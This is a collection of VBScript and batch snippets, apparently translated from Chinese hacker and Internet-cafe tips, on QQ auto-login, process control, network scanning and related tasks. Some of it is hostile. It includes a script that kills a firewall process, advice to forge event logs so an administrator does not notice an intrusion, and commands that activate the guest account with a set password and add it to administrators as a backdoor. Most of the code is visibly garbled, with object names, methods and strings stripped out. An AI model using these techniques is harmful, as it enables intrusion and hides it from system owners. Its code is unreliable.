//Use VBS scripts to use two VBS scripts to make QQ online forever
Automatic login script
set fso = ("")
Set f = ("QQ automatic login.bat", true)
"@echo off" & vbcrlf
for each ps in getobject("winmgmts:\\\\\.\\root\\cimv2:win32_process").instances_ \'List all running programs in the system
if lcase()="" or lcase()="" then \'Detection of whether it is QQ or TM
QQCMD=\'Extract the lifeline of the QQ program
tmp=Replace(QQCMD,chr(34),space(1))
UIN1=instr(tmp,"QQUIN:")+6
if not len(UIN1)=0 then
QQUIN=mid(tmp,UIN1,instr(UIN1,tmp,space(1))-UIN1)\'Get the QQ number.
QQ=QQ+1
QQNUM=QQNUM & "QQ & ":" & vbtab & QQUIN & vbcrlf
"ECHO QQ Number:" & QQUIN
"ECHO command line:" & QQCMD
QQCMD & vbcrlf
end if
end if
next
if not len(QQ)=0 then
MSGBOX "The automatic login command line of the following QQ numbers has been successfully extracted" & vbcrlf & vbcrlf & QQNUM & vbcrlf & "For details, please check the files in the current directory",0,"QQ automatic
Login command extraction script BY chenall QQ:XXXXXX"
else
msgbox "The automatic login command for extracting QQ failed, please check whether QQ or TM is running.",0, "QQ automatic login command extraction script BY chenall QQ:XXXXXX"
set f = ("QQ automatic login.bat")
end if
Store these codes as "*.vbs" files. Then log in to all QQ numbers that need to be automatically logged in, and then click "Menu" → "Switch to TM with one click" on a QQ. After running the VBS script, you will find that a "QQ automatic login.bat" file has been generated in the current directory. Running the file can automatically log in to all QQ numbers.
Tip: "XXXXXX" in the code represents your QQ number.
Prevent scripts from closing
dim QQUIN
for each ps in getobject("winmgmts:\\\\\.\\root\\cimv2:win32_process").instances_ \'List all running programs in the system
if lcase()="" or lcase()="" then \'Detection of whether it is QQ or TM
AppPath=\'Extract the lifeline of the QQ program
tmp=Replace(AppPath,chr(34),space(1))
UIN1=instr(tmp,"QQUIN:")+6
QQUIN=mid(tmp,UIN1,instr(UIN1,tmp,space(1))-UIN1)\'Get the QQ number.
end if
next
if len(QQUIN)=0 then
msgbox "There is no QQ or TM program running in the system. Please restart QQ or TM, log in and then use one-click to switch QQ or TM program, and then run this script"
else
do \'Cycle Detection
myqqin=chkuin(QQUIN)\'Detection whether the QQ number extracted above is open on this machine
if not myqqin then \'If it is not running, rerun the QQ program and log in
runapp(AppPath) \'
10000 \'Wait for 10 seconds
else
5000 \'Wait for 5 seconds
end if
loop \'Return to continue detection
end if
function RunApp(AppPath)
dim obj
set obj = createｏｂｊｅｃｔ("")
(AppPath)
end function
function chkuin(QQUIN)
for each ps in getｏｂｊｅｃｔ("winmgmts:\\\\.\\root\\cimv2:win32_process").instances_
if lcase()="" or lcase()="" then
AppPatht=
\'by chenall qq 368178720
tmp=Replace(AppPatht,chr(34),space(1))
UIN1=instr(tmp,"QQUIN:")+6
QQUINTMP=mid(tmp,UIN1,instr(UIN1,tmp,space(1))-UIN1)
if QQUINTMP=QQUIN then chkuin=true end if
end if
next
end function
Store the above code as a "*.vbs" file. Then log in to QQ, switch to TM with one click, and then run the VBS script. After that, even if TM/QQ is turned off, it will automatically start and log in to the network. After testing on the Windows XP SP2 system, it is completely effective.
//kill process vbs script
Write a VBS script:
Enter:
copy con (Note: After executing this line, there is no command prompt)
CODEstrComputer = "."
Set objWMIServive = GetObject("winmagmts:" _
& "{impersonationLevel=impcrsonatc}!\\" &strComputer & "\root\cimv2"
Set colProcesslist = _
("select * from Win32 Process Where Name = ''"
For Each objPrecess in colProcessList
()
Next
'PFWMain' is Skynet' firewall, you can change it yourself
After entering, press "CTRL"+"z" at the same time, and the command prompt will come out again.
Then it's executed:
csript
//Show the IP address of the machine
Dim WS
Set WS=CreateObject("")
IPAddress=
MsgBox "Local IP=" & IPAddress
//Use script to forge logs
After deleting the log, any smart administrator will immediately react to being hacked when facing the empty log, so a smart hacker will learn how to forge logs. It is very simple to create logs using eventlog methods in script programming. Please see the following code:
set ws=ｏｂｊｅｃｔ("")
0 ,"write log success" 'Create a successful execution log
Save the above code as. This code is easy to understand. First, get a shell object of wscript, and then use the logevent method of the shell object. Usage of logevent: logevent type,"description" [,remote system], where eventtype is the log type, the parameters that can be used are as follows: 0 represents successful execution, 1 has an error in execution, 2 warnings, 4 information, 8 has a successful audit, and 16 has a fault audit. So in the above code, changing 0 to 1, 2, 4, 8, 16 is OK, and the content in the quotes is the log description. There is a disadvantage to logs written using this method, that is, they can only write to application logs, and the log source can only be WSH, that is, Windows Scripting Host, so they cannot play too many hidden roles. This is for your reference only.
//Execute external programs
Use Notepad to edit the following content:
DIM objShell
set objShell=("")
iReturn=(" /C set var=world", 1, TRUE)
Save as a .vbs file. In this code, we first set an environment variable named var and the value is world. The user can use %Comspec% instead, and the command: set var=world can be changed to another command, so that it can run any command.
set ws=ｏｂｊｅｃｔ("")
" /start",0
Write the above code in Notepad to save the extension **.vbs , where the batch will no longer display the window and automatically end the script after running.
//Delay startup and running a program
Dim Wsh
Set Wsh = ("")
(60000)
"D:\",,True
Set Wsh=NoThing
Scan the script that illegally hits the computer:
Option Explicit
'On Error Resume Next
Dim intStartingAddress,intEndingAddress,strSubnet,strComputer,ProName
Dim objShell,strCommand,objExecObject,strText
intStartingAddress= 1 'Set the start IP
intEndingAddress= 100 'Set end IP
strSubnet = "192.168.0." 'Set the IP segment prefix
ProName = "" 'The process name you want to check, pay attention to upper and lower case
Dim Wsh,fso,logfile
Set Wsh = ("")
Set fso = CreateObject("")
Set logfile = ("Scan record.txt",2,True)
time&"Start Scan"
(1)
Dim i
For i = intStartingAddress to intEndingAddress
strComputer = strSubnet & i
Set objShell = CreateObject("")
strCommand = "%comspec% /c ping -n 2 -w 500 " & strComputer & ""
Set objExecObject = (strCommand)
Do While Not
strText = ()
If Instr(strText, "Reply") > 0 Then
If Not CheckPro(strComputer,ProName) Then
Doit(strComputer)
End If
End If
Loop
Next
(1)
time&"Scan end"
Msgbox "Scan end", 64, "Scan end"
Function CheckPro(strComputer,ProName)
Dim objWMIService,colProcesses,objProcess
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colProcesses = ("Select * from Win32_Process")
CheckPro = False
For Each objProcess in colProcesses
If = ProName Then
CheckPro = True
Exit For
End If
Next
End Function
Sub Doit(strComputer)
"Note"&strComputer&"Status Exception"&time
"Note"&strComputer&"Status abnormal",5
End Sub
//The script to modify the shortcut path: (Put it in the folder where the shortcut is installed)
Option Explicit
Dim oldpath,newpath
oldpath = "x:\game" 'Set the content that will be replaced in the original path
newpath = "g:\game\langame" 'Set the content to be used in the new path
Dim Wsh,fso
Set Wsh = ("")
Set fso = CreateObject("")
Dim ji_1,ji_2,Folder
ji_1 = 0
ji_2 = 0
Folder =
if Ask("I'll modify all shortcuts in "&chr(34)& Folder &chr(34)&", will you continue") then
Dim f,fc,f1,ext
Set f = (Folder)
Set fc =
For Each f1 in fc
ext = LCase((f1))
if ext = "lnk" then
ji_1 = ji_1 + 1
call Doit(f1)
end if
Next
end if
Set WSH = Nothing
msgbox "Find"&ji_1&" shortcuts"&vbCrLf&"Modify"&ji_2&" shortcuts", 64, "Execution completed"
Sub Doit(strlnk)
Dim oShlnk
Set oShlnk = (strlnk)
If Instr(,oldpath) > 0 Then
= Replace(,oldpath,newpath)
ji_2 = ji_2 + 1
End If
Set oShLnk=NoThing
End Sub
Function Ask(strAction)
Dim intButton
intButton = MsgBox(strAction,vbQuestion + vbYesNo,"Inquiry")
Ask = intButton = vbYes
End Function
//Stamper scripts that execute code according to the machine name list:
'Note that "the file that saves the machine name.txt" is a line of one machine name
dim fso,cnamefile,cname
Set fso = CreateObject("")
Set cnamefile = ("Save the file of the machine name.txt",1)
Do While <> True
cname =
Doit(cname)
Loop
Sub Doit(Name)
Msgbox Name
'''''''''
'''''''''
'The code you want to execute
'''''''''
'''''''''
End Sub
//Run the registry, copy the file, and run the specified program VBS
'On Error Resume Next
Dim oShell,fso
Set oShell = ("")
Set fso = CreateObject("")
"regedit /s "
"D:\Chess and Card Games\Winners\!Winners icon\copy\*.*","C:\WINNT\system32\"
"D:\Chess and Card Games\Winner\"
set oshell = nothing
set fso = nothing
//Use VBA to promote guest to administrator.
dim wsh
set wsh=CreateObject("")
"net user guest /active:yes",0
"net user guest 5201314",0
"net localgroup administrators guest /add",0
Among them, 5201314 is the password of the guest
//Batch brothers that bind IP and MAC vbs
15000
gw="192.168.8.8"
mac="00-e0-4c-41-8a-65"
Set objShell = CreateObject("")
"arp -s "+gw+" "+mac
The above script Copy-paste-save-as-format
The following instructions
A small change was made. 15 seconds delay 15,000
15000
gw="192.168.8.8" Set as your workstation's gateway IP address.
mac="00-e0-4c-41-8a-65"mac is set as the mac address of your gateway server.
'(Gateway server mac address. Under normal circumstances, the workstation execution can be viewed using arp-a or from a proxy server.
Generally speaking, the gateway mac address in an Internet cafe is the same. )
'For writing format, please refer to the writing method in the script.
//Batch edited illegal process monitor (original)
annotation:
@ECHO DIM OBJSHELL >
@ECHO SET OBJSHELL=("") >>
@ECHO IRETURN=(" /C ", 0, TRUE) >>
@ECHO (2000) >
None of these need to be changed
The main ones are the following
Everyone should not be able to see the names of PP VAGAA, right! It is the name of the P2P software we want to ban. If you want to add it, you can
@ECHO GOTO TASK >>Add another paragraph before this command, for example, you should ban QQ, @ECHO TSKILL QQ >>, do not add suffix, as it can’t be used.
@ECHO :TASK >
@ECHO >>
@ECHO TSKILL PP >>
@ECHO TSKILL VAGAA >>
@ECHO TSKILL POCO >>
@ECHO TSKILL KUGOO >>
@ECHO TSKILL FLASHGET >>
@ECHO GOTO TASK >>
START